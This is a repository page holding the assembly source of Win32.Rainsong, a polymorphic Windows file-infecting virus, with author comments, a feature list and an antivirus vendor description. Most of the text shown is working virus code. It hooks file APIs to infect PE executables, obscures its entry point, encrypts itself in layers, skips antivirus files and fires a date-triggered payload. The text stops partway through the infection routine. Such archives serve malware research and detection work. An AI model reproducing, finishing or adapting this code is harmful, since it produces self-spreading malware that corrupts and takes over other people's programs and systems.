ch0ic3/MalwareSourceCode
1
0
Fork 0
mirror of https://github.com/vxunderground/MalwareSourceCode.git synced 2024-12-23 20:05:26 +00:00
Code Issues Actions Packages Projects Releases Wiki Activity
main
MalwareSourceCode/Win32/Infector/Win32.Rainsong.asm

1821 lines
54 KiB
NASM
Raw Permalink Normal View History

Add files via upload
2020-10-11 03:09:34 +00:00
;
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; <20><><EFBFBD> <20><><EFBFBD> <20><><EFBFBD> <20><><EFBFBD> <20><><EFBFBD> <20><><EFBFBD>
; The Rain Song <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; Coded by Bumblebee/29a <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> <20><><EFBFBD>
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> <20><><EFBFBD>
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ
; <20> Words from the author <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; . The best way to code a virus: listening Led Zeppelin (i'm not so
; old, but the best is ever good ;). And in the time i was coding this
; bug i became hooked again by the Dr. Asimov. 'Pelude to Foundation'
; it's the book. Here in spain the books are going even more expensive,
; but there are cheap editions of Asimov's work (about 6 Euros). The
; name of the virus is from the amazing song by Led Zeppelin, of coz.
; But the payload is a little tribute to Isaac Asimov. Very little.
; This virus triggers its payload in the death date of Asimov.
; May be you're interested in sci-fi, or just looking for a good book to
; evade yourself from reality, there are some titles i love (this could
; be a nice order to read them):
;
; Basics about the Foundation:
;
; Foundation
; Foundation and Empire
; Second Foundation
;
; This books could be readed before or after the basics:
;
; Prelude to Foundation
; Forward the Foundation
;
; It's true the titles say nothing about the book contents. hehehe. This
; is Asimov ;) I feel you'll like them. Books made me be a bit as i am.
; There is nothing that makes you more as you are that those things you
; choose to ignore. Hey! take that ;)
;
; . This is my first per-process virus and also my first virus with EPO.
; Don't spect too much of it. It isn't anything you haven't seen before,
; but with Bumblebee style. May be you're thinking in this way asm32 is
; going more and more close to macro coding (hi ya urgo32!). I'm not
; here for the money ;) Only for fun. And fun is not ever innovate...
; If you think this virus is worth less releasing let me know!
;
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ
; <20> Disclaimer <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; . This is the source code of a VIRUS. The author is not responsabile
; of any damage that may occur due to the assembly of this file. Use
; it at your own risk.
;
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ
; <20> Features <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; . Works under win32 systems:
; Windows 9x
; Windows Nt
; Windows 2000
; Future versions?
; . Uses SEH during scan kernel process. If the virus gets control from
; EPO i test 1st for the last used address and if fails i test using the
; Win9x, WinNt and Win2k fixed kernel addresses. In this case it could
; not work in future versions of win32. But if i can rely in the stack i
; hope it will work also if the kernel changes its address.
; . Gets needed API scanning kernel32.dll in memory using CRC32 instead
; of names.
; . Infects PE files increasing last section.
; . Increases virtual size the amount of bytes needed to have memory for
; temporary data. (virt size>phys size)
; . Takes care of relocations in execution time.
; . Uses size padding as infection sign.
; . Avoids infect most used AV.
; . Per-process resident hooking:
; CreateFileA
; MoveFileA
; CopyFileA
; CreateProcessA
; SetFileAttributesA
; GetFileAttributesA
; SearchPathA
; . Gets the path from the hooked calls to the APIs and infects the
; files found in the directory.
; . Has a runtime part that infects files in windows directory.
; . Infects PE with the extension EXE and SCR.
; . It has 2 layers of encryption. First polymorphic and second a simple
; not loop. This is due to 1st layer uses 32 bits key and i don't want
; bytes unencrypted.
; . Has EPO (Entry Point Obscuring) tech patching a call into the code
; section of the infected program. Supports also the more standard way
; of patching PE header, but avoids it if possible trying to do light
; EPO adding a jmp to the virus at the end of the original code section.
;
;
; AVP Description <20><>[comments]<5D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; Win32.Rainsong
;
;This is a dangerous per-process memory resident parasitic polymorphic
;Win32 virus. It searches for PE EXE files (Windows executable files) in
;Windows directory and infects them. Then it stays in Windows memory as a
;component of host application and affects PE EXE files that are accessed
;by host application.
;
;While infecting the virus writes itself to the end of the file by increasing
;the size of last file section. The virus uses "Entry Point Obscuring" methods
;and while infecting it does not modify program's entry address. To receive
;control when infected program is run, the virus scans victim file body, looks
;for a CALL command and replaces it with "JUMP VirusEntry" code. As a result
;the virus gets control not immediately at infected file start, but only in
;case the patched file code receives control.
;
;The virus has a bug and often corrupt files while infecting them.
;[This is true due i don't check if the import section has write attributes]
;[RainSong will corrupt all the windows file in win98 se :(]
;
;The virus avoids several anti-virus files infection, it detects them by two
;first letters in file name: AV*, AN*, DR*, ID*, OD*, TB*, F-*.
;[They NEVER analize the algo!!! A file called ?????AV.??? is never infected]
;[Why they insist in the 'two fist letters' shit?]
;
;On April 6th it generates Windows error message with the text:
;
;ASIMOV Jan.2.1920 - Apr.6.1992
;
;The virus also contains the text:
;
;< The Rain Song Coded By Bumblebee/29a >
;
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;
; The source is commented so... have fun!
; After i've released it i've found 2 little bugs :(
; But don't worry, it work fine. See comments.
;
;
; The way of the bee
;
.486p
locals
.model flat,STDCALL
extrn ExitProcess:PROC ; needed for 1st generation
vSize equ vEnd-vBegin
crptSize equ crptEND-crptINI
PADDING equ 101
STRINGTOP equ 160
; from BC++ Win32 API on-line Reference
WIN32_FIND_DATA struc
dwFileAttributes dd 0
dwLowDateTime0 dd ? ; creation
dwHigDateTime0 dd ?
dwLowDateTime1 dd ? ; last access
dwHigDateTime1 dd ?
dwLowDateTime2 dd ? ; last write
dwHigDateTime2 dd ?
nFileSizeHigh dd ?
nFileSizeLow dd ?
dwReserved dd 0,0
cFileName db 260 dup(0)
cAlternateFilename db 14 dup(0)
db 2 dup(0)
WIN32_FIND_DATA ends
.DATA
; dummy data
db 'WARNING - This is a virus carrier - WARNING'
.CODE
vBegin label byte
inicio:
; call for the polymorphic decryptor
call crypt
crptINI label byte
; a lame 2nd layer
call secondLayerDecrypt
crptSecondINI label byte
; to store the return to host address
push offset fakeHost
hostRET equ $-4
pushad
; to support relocs
push offset inicio
virusEP equ $-4
; get delta offset
call getDelta
; setup relocations
pop eax ; get stored virus EP
lea edx,inicio+ebp ; get current
sub edx,eax ; calc displacement
add dword ptr [esp+20h],edx ; fix hostRET
add dword ptr [imageBase+ebp],edx ; fix image base
; Get Kernel32 address
; 1st check if we are in a EPO address
mov eax,dword ptr [EPOAddr+ebp]
or eax,eax
jz getK32notEPO
; we canot rely on stack... try some addresses
tryFix:
mov esi,dword ptr [kernel32+ebp] ; test latest
inc esi
call GetKernel32
jnc getAPIsNow
mov esi,077e00001h ; test for win2k
call GetKernel32
jnc getAPIsNow
mov esi,077f00001h ; test for winNt
call GetKernel32
jnc getAPIsNow
mov esi,0bff70001h ; test for win9x
call GetKernel32
jc returnHost
jmp getAPIsNow
getK32notEPO:
; use the value in the stack
mov esi,dword ptr [esp+24h]
call GetKernel32
jc tryFix
getAPIsNow:
; now get APIs using CRC32
mov edi,12345678h
kernel32 equ $-4
mov esi,edi
mov esi,dword ptr [esi+3ch]
add esi,edi
mov esi,dword ptr [esi+78h]
add esi,edi
add esi,1ch
lodsd
add eax,edi
mov dword ptr [address+ebp],eax
lodsd
add eax,edi
mov dword ptr [names+ebp],eax
lodsd
add eax,edi
mov dword ptr [ordinals+ebp],eax
sub esi,16
lodsd
mov dword ptr [nexports+ebp],eax
xor edx,edx
mov dword ptr [expcount+ebp],edx
lea eax,FSTAPI+ebp
searchl:
mov esi,dword ptr [names+ebp]
add esi,edx
mov esi,dword ptr [esi]
add esi,edi
push eax edx edi
xor edi,edi
movzx di,byte ptr [eax+4]
call CRC32
xchg ebx,eax
pop edi edx eax
cmp ebx,dword ptr [eax]
je fFound
add edx,4
inc dword ptr [expcount+ebp]
push edx
mov edx,dword ptr [expcount+ebp]
cmp dword ptr [nexports+ebp],edx
pop edx
je returnHost
jmp searchl
fFound:
shr edx,1
add edx,dword ptr [ordinals+ebp]
xor ebx,ebx
mov bx,word ptr [edx]
shl ebx,2
add ebx,dword ptr [address+ebp]
mov ecx,dword ptr [ebx]
add ecx,edi
mov dword ptr [eax+5],ecx
add eax,9
xor edx,edx
mov dword ptr [expcount+ebp],edx
lea ecx,ENDAPI+ebp
cmp eax,ecx
jb searchl
; we must make a memory copy of the virus and work there
; the original copy it's patched to return host.
; This is necessary due we could be called from a call more
; than once... just think what happens when you decrypt twice...
push 00000040h
push 00001000h OR 00002000h
push (vSize+1000h)
push 0h
call dword ptr [_VirtualAlloc+ebp]
or eax,eax
jz returnHost
lea esi,inicio+ebp
mov edi,eax
mov ecx,vSize
rep movsb
lea esi,hostRET-1
lea edi,inicio+ebp
mov ecx,5
rep movsb
mov byte ptr [edi],0c3h
add eax,offset memCopy-offset inicio
push eax
ret
memCopy:
; get delta offset another time
call getDelta
lea edx,fileSize+ebp ; check for Asimov
push edx ; death date
call dword ptr [_GetSystemTime+ebp]
lea edx,fileSize+ebp
cmp word ptr [edx+2],4
jne skipPay
cmp word ptr [edx+6],6
jne skipPay
lea edx,message+ebp
push edx
xor eax,eax
push eax
call dword ptr [_FatalAppExitA+ebp] ; bye bye ;)
skipPay:
; alloc a temporary buffer to generate the poly sample
; of the virus ready to infect
push 00000004h
push 00001000h OR 00002000h
push (vSize+1000h)
push 0h
call dword ptr [_VirtualAlloc+ebp]
or eax,eax
jz returnHost
mov dword ptr [memHnd+ebp],eax
; the same polymorphic routine is used for each infection
; in the current execution of the virus
call dword ptr [_GetTickCount+ebp]
mov edi,dword ptr [memHnd+ebp]
add edi,vSize
mov ecx,(crptSize/4)-(4-(crptSize MOD 4))
call GenDCrpt
; store the size of the sample (for infection process)
; and calc the virtual size
mov dword ptr [virtsize+ebp],vSize
cmp eax,BUFFERSIZE
jb decryptorSmall
add dword ptr [virtsize+ebp],eax
jmp virtSizeOk
decryptorSmall:
add dword ptr [virtsize+ebp],BUFFERSIZE
virtSizeOk:
add eax,vSize
mov dword ptr [gensize+ebp],eax
; Hook the API to get per-process residency
; Notice this must be called before any infection
call hookApi
lea esi,stringBuffer+ebp ; get current directory
push esi
push STRINGTOP
call dword ptr [_GetCurrentDirectoryA+ebp]
or eax,eax
jz returnHost
push STRINGTOP ; get windows directory
lea esi,tmpPath+ebp
push esi
call dword ptr [_GetWindowsDirectoryA+ebp]
or eax,eax
jz returnHost
lea esi,tmpPath+ebp ; goto windows directory
push esi
call dword ptr [_SetCurrentDirectoryA+ebp]
or eax,eax
jz returnHost
call infectDir ; infect!! buahahahah!
; estoooo
lea esi,stringBuffer+ebp ; go back home ;)
push esi
call dword ptr [_SetCurrentDirectoryA+ebp]
returnHost:
popad
ret
;
; Returns Delta offset into ebp.
;
getDelta:
call delta
delta:
pop ebp
sub ebp,offset delta
ret
;
; General hook. This routine is for all the hooks.
; We have into esi the path to analize, the address of the
; original API in the stack (plus a pushad) and the delta
; offset into ebp. I use a semaphore 'cause the virus doesn't support
; multithread. In case hooked API is called by other thread while
; the virus is in the infection process could be fatal. I'm not sure
; 100% this is necessary but... ;)
;
generalHook:
pushfd
cld
; set sem to working
mov byte ptr [semHook+ebp],1
call stringUp
jc hookInfectionFail
push edi
lea edx,stringBuffer+ebp
push edx
call dword ptr [_GetFileAttributesA+ebp]
pop edi
inc eax
jz hookInfectionFail
dec eax
and eax,00000010h ; it's a directory?
jnz infectPath
lea edx,stringBuffer+ebp
cmp word ptr [edx+1],'\:' ; absolute path?
je getPath
cmp word ptr [edx],'\\' ; absolute path?
jne infectCurrent
; if it's an absolute path to a file we quit the
; filename and try the directory
getPath:
cmp byte ptr [edi],'\'
je pathOk
dec edi
cmp edx,edi
je hookInfectionFail
jmp getPath
pathOk:
mov dword ptr [edi],0 ; now we have a path
; infects the path changing directory
infectPath:
; get current directory
lea esi,tmpPath+ebp
push esi
push STRINGTOP
call dword ptr [_GetCurrentDirectoryA+ebp]
or eax,eax
jz hookInfectionFail
; set current directory to path
lea esi,stringBuffer+ebp
push esi
call dword ptr [_SetCurrentDirectoryA+ebp]
or eax,eax
jz hookInfectionFail
call infectDir
; restore current directory
lea esi,tmpPath+ebp
push esi
call dword ptr [_SetCurrentDirectoryA+ebp]
jmp hookInfectionFail
; infects current directory 'cause we haven't any path
; to check (and the accessed file it's just there!)
infectCurrent:
call infectDir
hookInfectionFail:
; set sem to free
mov byte ptr [semHook+ebp],0
popfd
popad
ret
;
; Nice macro ;)
;
@hook macro ApiAddress
push eax
pushad
call getDelta
mov eax,dword ptr [ApiAddress+ebp]
mov dword ptr [esp+20h],eax
mov esi,dword ptr [esp+28h]
or esi,esi ; skip NULLs in filename
jz @@skipThisCall
cmp byte ptr [semHook+ebp],0
je generalHook
@@skipThisCall:
popad
ret
endm
;
; The hooks.
;
Hook0:
@hook _CreateFileA
Hook1:
@hook _MoveFileA
Hook2:
@hook _CopyFileA
Hook3:
@hook _CreateProcessA
Hook4:
@hook _SetFileAttributesA
Hook5:
@hook _GetFileAttributesA
Hook6:
@hook _SearchPathA
Hook7: ; this data it's included but
@hook _SetCurrentDirectoryA ; not used... ops
; i can remove it, but better it
; fits the released binary
; i realized this bug after release
;
; This routine hooks the API that gives the virus per-process residency.
; The image base address is stored in the infection process.
;
hookApi:
pushad
; init the sem to free
mov byte ptr [semHook+ebp],0
mov edx,400000h
imageBase equ $-4
cmp word ptr [edx],'ZM'
jne noHook
mov edi,edx
add edi,dword ptr [edx+3ch]
cmp word ptr [edi],'EP'
jne noHook
mov edi,dword ptr [edi+80h] ; RVA import
add edi,edx
searchK32Imp:
mov esi,dword ptr [edi+0ch] ; get name
or esi,esi
jz noHook
add esi,edx
push edi ; save (stringUp doesn't)
call stringUp
pop edi
jc nextName
lea esi,stringBuffer+ebp
cmp dword ptr [esi],'NREK' ; look for Kernel32 module
jne nextName
cmp dword ptr [esi+4],'23LE'
je k32ImpFound
nextName:
add edi,14h
mov esi,dword ptr [edi]
or esi,esi
jz noHook
jmp searchK32Imp
k32ImpFound:
mov esi,dword ptr [edi+10h] ; get address table
or esi,esi
jz noHook
add esi,edx
lea ecx,HOOKTABLEEND+ebp
nextImp: ; search for APIs
lea edx,HOOKTABLEBEGIN+ebp
lodsd
or eax,eax
jz noHook
checkNextAPI:
mov edi,dword ptr [edx]
cmp eax,dword ptr [edi+ebp]
je doHook
add edx,8
cmp edx,ecx
jne checkNextAPI
jmp nextImp
doHook:
mov eax,dword ptr [edx+4]
add eax,ebp
mov dword ptr [esi-4],eax
add edx,8
cmp edx,ecx
jne nextImp
noHook:
popad
ret
;
; Changes to upper case the string by esi storing into stringBuffer.
; Sets carry flag if our string buffer is small. Returns in edi the
; end of the string into the buffer. Requires SEH.
;
stringUp:
push esi eax
lea edi,stringBuffer+ebp
mov eax,edi
add eax,STRINGTOP
stringUpLoop:
cmp eax,edi
jne continueStringUp
stc
jmp stringUpOut
continueStringUp:
movsb
cmp byte ptr [esi-1],'a'
jb skipThisChar
cmp byte ptr [esi-1],'z'
ja skipThisChar
add byte ptr [edi-1],'A'-'a'
skipThisChar:
cmp byte ptr [esi-1],0
jne stringUpLoop
dec edi
clc
stringUpOut:
pop eax esi
ret
;
; This routine gets Kernel32 address. Uses SEH.
; The main purpose of this routine is search for the k32 address using
; a 'guess' address from the stack. But i cannot rely on the stack when
; the virus starts from EPO. Look the pieze of code that calls this
; routine to see how to fix it easily.
; Take a look to the article by Lethal Mind/29a from 29a#4 for more
; information about this method.
;
GetKernel32:
pushad
xor edx,edx
lea eax,dword ptr [esp-8h]
xchg eax,dword ptr fs:[edx]
lea edi,GetKernel32Exception+ebp
push edi
push eax
GetKernel32Loop:
dec esi
cmp word ptr [esi],'ZM' ; 'poda' -> this makes algo
jne GetKernel32Loop ; faster
mov dx,word ptr [esi+3ch]
test dx,0f800h
jnz GetKernel32Loop
cmp esi,dword ptr [esi+edx+34h]
jne GetKernel32Loop
mov dword ptr [kernel32+ebp],esi
xor edi,edi
pop dword ptr fs:[edi]
pop eax
popad
clc
ret
GetKernel32Exception:
xor edi,edi
mov eax,dword ptr fs:[edi]
mov esp,dword ptr [eax]
xor edi,edi
pop dword ptr fs:[edi]
pop eax
popad
stc
ret
;
; This routine makes CRC32.
;
CRC32:
cld
xor ecx,ecx
dec ecx
mov edx,ecx
push ebx
NextByteCRC:
xor eax,eax
xor ebx,ebx
lodsb
xor al,cl
mov cl,ch
mov ch,dl
mov dl,dh
mov dh,8
NextBitCRC:
shr bx,1
rcr ax,1
jnc NoCRC
xor ax,08320h
xor bx,0EDB8h
NoCRC:
dec dh
jnz NextBitCRC
xor ecx,eax
xor edx,ebx
dec edi
jnz NextByteCRC
pop ebx
not edx
not ecx
mov eax,edx
rol eax,16
mov ax,cx
ret
;
; Updates the virus sample ready to infect in our memory buffer.
;
updateVSample:
lea esi,vBegin+ebp
mov edi,dword ptr [memHnd+ebp]
mov ecx,vSize
rep movsb
mov ecx,crptSecondEND-crptSecondINI
mov esi,crptSecondINI-vBegin
add esi,dword ptr [memHnd+ebp]
secondEnLayerLoop:
not byte ptr [esi]
inc esi
loop secondEnLayerLoop
mov ecx,dword ptr [CodeSize+ebp]
mov esi,crptINI-vBegin
add esi,dword ptr [memHnd+ebp]
mov eax,dword ptr [CrptKey+ebp]
encrptLoop:
xor dword ptr [esi],eax
add esi,4
loop encrptLoop
ret
;
; Infects PE file increasing last section.
;
; ESI: addr of file name of PE to infect.
;
infect:
pushad
mov dword ptr [fNameAddr+ebp],esi
push esi
push esi
call dword ptr [_GetFileAttributesA+ebp]
pop esi
inc eax
jz infectionError
dec eax
mov dword ptr [fileAttrib+ebp],eax
push esi
push 00000080h
push esi
call dword ptr [_SetFileAttributesA+ebp]
pop esi
or eax,eax
jz infectionError
xor eax,eax
push eax
push 00000080h
push 00000003h
push eax
push eax
push 80000000h OR 40000000h
push esi
call dword ptr [_CreateFileA+ebp]
inc eax
jz infectionErrorAttrib
dec eax
mov dword ptr [fHnd+ebp],eax
push 0h
push eax
call dword ptr [_GetFileSize+ebp]
inc eax
jz infectionErrorClose
dec eax
mov dword ptr [fileSize+ebp],eax
lea edi,fileTime2+ebp
push edi
lea edi,fileTime1+ebp
push edi
lea edi,fileTime0+ebp
push edi
push dword ptr [fHnd+ebp]
call dword ptr [_GetFileTime+ebp]
or eax,eax
jz infectionErrorClose
xor eax,eax
push eax
push eax
push eax
push 00000004h
push eax
push dword ptr [fHnd+ebp]
call dword ptr [_CreateFileMappingA+ebp]
or eax,eax
jz infectionErrorClose
mov dword ptr [fhmap+ebp],eax
xor eax,eax
push eax
push eax
push eax
push 00000004h OR 00000002h
push dword ptr [fhmap+ebp]
call dword ptr [_MapViewOfFile+ebp]
or eax,eax
jz infectionErrorCloseMap
mov dword ptr [mapMem+ebp],eax
mov edi,eax
cmp word ptr [edi],'ZM'
jne infectionErrorCloseUnmap
add edi,dword ptr [edi+3ch]
cmp eax,edi
ja infectionErrorCloseUnmap ; avoid fucking headers
add eax,dword ptr [fileSize+ebp]
cmp eax,edi
jb infectionErrorCloseUnmap ; avoid fucking headers
cmp word ptr [edi],'EP'
jne infectionErrorCloseUnmap
mov edx,dword ptr [edi+16h] ; test it's a valid PE
test edx,2h ; i want executable
jz infectionErrorCloseUnmap
and edx,2000h ; i don't want DLL
jnz infectionErrorCloseUnmap
mov dx,word ptr [edi+5ch]
dec edx ; i don't want NATIVE
jz infectionErrorCloseUnmap
mov edx,edi
mov esi,edi
mov eax,18h
add ax,word ptr [edi+14h]
add edi,eax
mov dword ptr [fstSec+ebp],edi
push edx
mov cx,word ptr [esi+06h]
mov ax,28h
dec cx
mul cx
add edi,eax
pop edx
test dword ptr [edi+24h],10000000h ; avoid this kind of section
jnz infectionErrorCloseUnmap ; we can corrupt it!
test dword ptr [edi+24h],0e0000020h ; mmm... This is infected yet
jz infectionErrorCloseUnmap ; another bug! must be jnz
mov eax,dword ptr [edi+10h] ; i rely on the headers...
add eax,dword ptr [edi+14h]
mov dword ptr [fileSize+ebp],eax
sub eax,dword ptr [edi+14h] ; calc our RVA
add eax,dword ptr [edi+0ch]
mov dword ptr [myRVA+ebp],eax
; save virus entry point to calc relocations in
; execution time
add eax,dword ptr [esi+34h]
mov dword ptr [virusEP+ebp],eax
mov eax,dword ptr [edi+08h] ; fix the virtual size
push edx ; if needed
mov ecx,dword ptr [edx+38h] ; some PE have strange
xor edx,edx ; virt size (cdplayer p.e.)
div ecx
inc eax
or edx,edx
jz rvaFixDone
xor edx,edx
mul ecx
mov dword ptr [edi+08h],eax ; save the fixed virt size
rvaFixDone:
; save image base for hook API
mov edx,dword ptr [esi+34h]
mov dword ptr [imageBase+ebp],edx
pop edx
call searchEPO ; Search for a call
jc notEPO
push edi edx ecx ; patch the call
mov edx,dword ptr [myRVA+ebp]
add edx,dword ptr [esi+34h] ; edx = dest rva
mov edi,dword ptr [EPORva+ebp]
add edi,dword ptr [esi+34h] ; edi = call rva
sub edx,edi
sub edx,5 ; edx patch the call
mov ecx,dword ptr [EPOAddr+ebp]
xchg dword ptr [ecx+1],edx
add edx,edi ; get the rva
add edx,5
mov dword ptr [hostRET+ebp],edx ; and store it ;)
pop ecx edx edi
jmp yeahEPO
notEPO:
call lightEPO ; try light EPO
jc notNotEPO
push edx ecx ; add the jump
mov ecx,dword ptr [myRVA+ebp]
add ecx,dword ptr [esi+34h] ; ecx = dest rva
mov edx,dword ptr [EPORva+ebp]
mov dword ptr [myRVA+ebp],edx
add edx,dword ptr [esi+34h] ; edx = jmp rva
sub ecx,edx
sub ecx,5 ; ecx the addr jmp
mov edx,dword ptr [EPOAddr+ebp]
mov byte ptr [edx],0e9h
mov dword ptr [edx+1],ecx
pop ecx edx
; now lets the header be patched with this data ;)
notNotEPO:
; if i can't found a nice call to patch and i can't add
; a jump in the end of the code section i use the non-EPO
; infection. This could be a problem for the wild time
; of the virus 'cause heuristics can fake it easily
; but we want to be infectious ;)
push edi ; store new ep and get old
mov edi,dword ptr [myRVA+ebp] ; set edi=new ep
mov dword ptr [EPOAddr+ebp],0 ; getk32 changes if epo!
xchg edi,dword ptr [esi+28h] ; get host EP and set new
add edi,dword ptr [esi+34h]
mov dword ptr [hostRET+ebp],edi ; save it
pop edi
yeahEPO:
push edx ; calc the new virtual size
mov eax,dword ptr [virtsize+ebp] ; for the section
mov ecx,dword ptr [edx+38h]
xor edx,edx
div ecx
inc eax
xor edx,edx
mul ecx
pop edx
add dword ptr [edi+08h],eax ; fix the virtual size
add dword ptr [edx+50h],eax ; fix the image size
or dword ptr [edi+24h],0e0000020h ; set the properties
push edx ; calc new size for
mov eax,dword ptr [gensize+ebp] ; the section
mov ecx,dword ptr [edx+3ch]
xor edx,edx
div ecx
inc eax
xor edx,edx
mul ecx
pop edx
add dword ptr [edi+10h],eax ; store the phys size
push edx ; calc file padding
mov ecx,PADDING ; (infection sign)
add eax,dword ptr [fileSize+ebp]
xor edx,edx
div ecx
inc eax
xor edx,edx
mul ecx
mov dword ptr [pad+ebp],eax
pop edx
; update the virus sample ready to infect.
call updateVSample
push dword ptr [mapMem+ebp]
call dword ptr [_UnmapViewOfFile+ebp]
push dword ptr [fhmap+ebp]
call dword ptr [_CloseHandle+ebp]
xor eax,eax
push eax
push dword ptr [pad+ebp]
push eax
push 00000004h
push eax
push dword ptr [fHnd+ebp]
call dword ptr [_CreateFileMappingA+ebp]
or eax,eax
jz infectionErrorClose
mov dword ptr [fhmap+ebp],eax
xor eax,eax
push dword ptr [pad+ebp]
push eax
push eax
push 00000004h OR 00000002h
push dword ptr [fhmap+ebp]
call dword ptr [_MapViewOfFile+ebp]
or eax,eax
jz infectionErrorCloseMap
mov dword ptr [mapMem+ebp],eax
mov ecx,dword ptr [gensize+ebp]
mov esi,dword ptr [memHnd+ebp]
mov edi,eax
add edi,dword ptr [fileSize+ebp]
rep movsb
xchg ecx,eax ; Why i want the padding
mov eax,edi ; to be zeroes?
sub eax,ecx ; bah only one 'pijada'
mov ecx,dword ptr [pad+ebp]
sub ecx,eax
xor eax,eax
rep stosb
infectionErrorCloseUnmap:
push dword ptr [mapMem+ebp]
call dword ptr [_UnmapViewOfFile+ebp]
infectionErrorCloseMap:
push dword ptr [fhmap+ebp]
call dword ptr [_CloseHandle+ebp]
lea edi,fileTime2+ebp
push edi
lea edi,fileTime1+ebp
push edi
lea edi,fileTime0+ebp
push edi
push dword ptr [fHnd+ebp]
call dword ptr [_SetFileTime+ebp]
infectionErrorClose:
push dword ptr [fHnd+ebp]
call dword ptr [_CloseHandle+ebp]
infectionErrorAttrib:
